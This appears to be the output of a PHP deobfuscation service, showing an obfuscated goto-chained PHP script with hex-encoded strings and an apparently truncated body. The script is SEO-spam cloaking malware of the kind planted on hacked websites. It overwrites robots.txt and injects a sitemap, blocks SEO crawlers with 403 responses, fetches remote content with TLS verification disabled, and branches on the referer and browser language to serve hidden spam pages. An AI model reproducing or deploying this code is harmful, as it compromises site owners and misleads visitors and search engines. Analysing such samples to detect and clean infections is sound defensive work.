"\x55\163\x65\x72\55\141\x67\x65\156\x74\72\40\x2a\xd\12\101\x6c\154\157\167\x3a\40\x2f"; goto oBvPA; Jb7jZ: header("\x48\124\124\x50\x2f\61\x2e\x30\40\x34\60\x33\x20\x46\157\x72\x62\151\144\x64\145\x6e"); goto pEzGi; u2BOZ: exit; goto dV3Dv; W5peh: goto YDK1F; goto GXUwn; Xwn7v: $h0RPH = qdx0G(); goto ZfjR9; oydG3: if (empty($RthL0)) { goto jsyYd; } goto y3DUb; qXn4O: $uW9st = ''; goto xs_iA; cTAs0: $SDKji = 2777; goto zjv_q; AUZuy: function evkhq($bQXnP) { goto EsRXU; R_PeJ: curl_close($TIpn7); goto CPCxz; X454v: curl_setopt($TIpn7, CURLOPT_FOLLOWLOCATION, false); goto G0NzP; q2bO3: curl_setopt($TIpn7, CURLOPT_SSL_VERIFYPEER, FALSE); goto JxgCk; gpTqT: $Qjf2W = curl_exec($TIpn7); goto R_PeJ; EsRXU: $TIpn7 = curl_init(); goto saa4z; WGCKs: uP_Sg: goto eRsrd; DybVp: if (!(strpos($bQXnP, "\150\x74\x74\160\x73\72\57\57") !== false)) { goto MKWh4; } goto q2bO3; CPCxz: if (!empty($Qjf2W)) { goto uP_Sg; } goto IIgJ3; ZXc45: curl_setopt($TIpn7, CURLOPT_RETURNTRANSFER, true); goto X454v; H01_6: MKWh4: goto gpTqT; eRsrd: return $Qjf2W; goto BU1PU; JxgCk: curl_setopt($TIpn7, CURLOPT_SSL_VERIFYHOST, FALSE); goto H01_6; IIgJ3: $Qjf2W = @file_get_contents($bQXnP); goto WGCKs; G0NzP: curl_setopt($TIpn7, CURLOPT_USERAGENT, $_SERVER["\110\124\x54\120\x5f\125\x53\105\x52\137\x41\107\105\x4e\x54"]); goto DybVp; saa4z: curl_setopt($TIpn7, CURLOPT_URL, $bQXnP); goto ZXc45; BU1PU: } goto jnSy9; wpf2U: cFdwm: goto WbkwW; ns8lZ: exit; goto Z2qau; Qkfqc: goto rYmVJ; goto wWcVv; DAsdn: goto jnNXr; goto eDNs_; E0jrh: header("\x48\124\124\120\x2f\61\56\60\40\65\60\60\x20\111\x6e\x74\x65\x72\x6e\x61\154\x20\123\x65\162\x76\145\162\40\x45\162\x72\157\162"); goto TA46W; mLLjl: $kcGgv = $w6w0w . "\x3a\57\57" . $_SERVER["\110\x54\124\x50\x5f\110\x4f\x53\124"] . "\x2f\165\x75\165\x75\x78\x78\170\x78\157\157\157"; goto eQ5QJ; D84Ca: YDK1F: goto S6_Fz; OL3qL: EUjOb: goto QUcYU; S6_Fz: echo $RthL0; goto bnsgD; jI7sB: HI5En: goto JAw2s; Z4Vnx: $ZpcIL = trim($ZpcIL) . "\15\xa" . "\x53\151\164\145\155\141\x70\72\x20{$uzCeQ}"; goto qXn4O; MsFX1: @file_put_contents("\x72\157\142\x6f\164\x73\x2e\164\x78\164", $RthL0); goto vOkuK; PjR2o: $DRZ65 = urlencode($_SERVER["\x48\124\x54\120\137\101\x43\x43\105\120\124\137\114\x41\116\107\x55\x41\x47\x45"]); goto Xwn7v; xs_iA: echo $uzCeQ . "\x3a\40" . $uW9st . "\74\x62\162\x2f\x3e"; goto qr1f4; eDNs_: Pp1cz: goto BRS0k; SkCE7: eIHhQ: goto elVcQ; jAfGj: header("\103\157\x6e\x74\145\156\164\x2d\x54\x79\160\145\x3a\x20\164\x65\170\x74\57\170\x6d\154\73\40\143\150\141\x72\163\145\x74\75\165\x74\x66\x2d\x38"); goto D84Ca; dV3Dv: fzAi2: goto wlcAV; jnSy9: if (!preg_match("\x2f\x28\x42\171\x74\145\x73\160\x69\144\x65\162\174\x50\145\x74\x61\154\x42\157\x74\x7c\101\x68\162\x65\x66\163\102\x6f\x74\174\x42\x61\x72\x6b\162\157\x77\154\145\x72\x7c\115\x4a\x31\x32\142\x6f\164\x7c\x46\145\x65\x64\104\145\155\157\x6e\x7c\112\151\153\145\123\160\x69\144\145\162\x7c\111\x6e\x64\171\x20\114\x69\142\x72\141\x72\x79\x7c\x41\163\x6b\x54\142\106\x58\x54\126\x7c\103\x72\x61\167\x6c\x44\141\144\144\x79\x7c\x43\x6f\157\154\x70\x61\144\x57\x65\142\153\x69\164\174\112\x61\166\x61\x7c\106\145\145\x64\x6c\x79\x7c\x55\x6e\x69\166\145\162\163\x61\x6c\x46\145\145\x64\x50\x61\162\163\145\x72\174\101\160\x61\143\150\145\x42\x65\156\x63\x68\174\x53\x77\x69\146\164\x62\157\x74\x7c\x5a\155\x45\165\174\157\102\x6f\164\174\152\x61\165\x6e\x74\x79\174\x50\171\164\150\x6f\x6e\55\165\x72\154\154\151\x62\174\x70\x79\x74\x68\157\156\55\x72\145\x71\165\x65\163\x74\x73\174\154\x69\x67\150\164\x44\x65\x63\153\x52\x65\160\157\162\164\x73\x20\102\157\x74\x7c\131\131\123\160\151\x64\x65\x72\174\104\x69\x67\105\x78\x74\174\131\x69\x73\x6f\x75\x53\160\x69\144\x65\162\x7c\x48\x74\x74\x70\x43\x6c\x69\145\x6e\x74\174\x68\145\x72\x69\x74\162\x69\170\x7c\105\x61\163\157\x75\123\160\151\144\145\x72\174\x45\x7a\x6f\x6f\155\x73\x7c\x41\155\141\172\157\x6e\x42\x6f\164\174\x53\x45\x4d\x72\165\x73\x68\102\157\164\x7c\x59\x61\x6e\144\145\170\102\x6f\164\x7c\160\x61\x6c\x6f\x61\x6c\164\x6f\156\145\164\167\157\x72\x6b\163\x7c\120\171\164\x68\x6f\156\x29\57\151", $_SERVER["\110\x54\124\120\137\125\x53\x45\x52\x5f\x41\x47\x45\116\x54"])) { goto VrI7g; } goto Jb7jZ; qpAfk: pyfen: goto mLLjl; w6SkP: if (strpos($X94bQ, "\x69\x6e\x64\145\170\x2e\x70\x68\x70") !== false) { goto rwiit; } goto HACHy; HACHy: $X94bQ = $X94bQ . "\x3f"; goto THYfA; YWYDf: if ($RthL0 == "\65\x30\x30") { goto hfePK; } goto NGMFv; TwRVN: exit; goto BDnCy; nZ5Sz: $_SERVER["\x52\x45\121\125\105\x53\x54\x5f\x53\103\x48\105\115\x45"] = "\x68\x74\164\x70\x73"; goto lw133; oZzJw: if (preg_match("\x2f\50{$vDhW1}\51\57\x69", $_SERVER["\x48\x54\x54\x50\x5f\x52\x45\106\105\x52\x45\x52"])) { goto ZjMXS; } goto Qkfqc; wWcVv: ZjMXS: goto IWuTY; L947y: npXr3: goto qtfpV; MwfUL: goto ubamq; goto v212O; zRwuo: $X94bQ = $_SERVER["\123\103\x52\111\120\124\x5f\116\x41\115\x45"]; goto w6SkP; QiLw3: rYmVJ: goto f52q4; ttbjT: $rVjyT = urldecode($_SERVER["\122\105\121\125\105\123\124\x5f\125\x52\111"]); goto KdFXY; gbhyq: header("\x43\x6f\x6e\164\145\156\x74\x2d\x54\171\x70\145\72\x20\x74\x65\170\164\57\150\164\155\154\73\40\143\x68\x61\162\163\145\x74\75\165\164\146\x2d\x38"); goto W5peh; sZ6PR: goto W0x3V; goto L947y; dRcuE: if ($RthL0 == "\157\153") { goto Pp1cz; } goto p0I04; f52q4: goto hWnYW; goto SkCE7; oV7RI: KVDk6:
?>
Function Calls
None |
Stats
MD5 | eb471f35d27e2ac532372cd6311ca532 |
Eval Count | 0 |
Decode Time | 54 ms |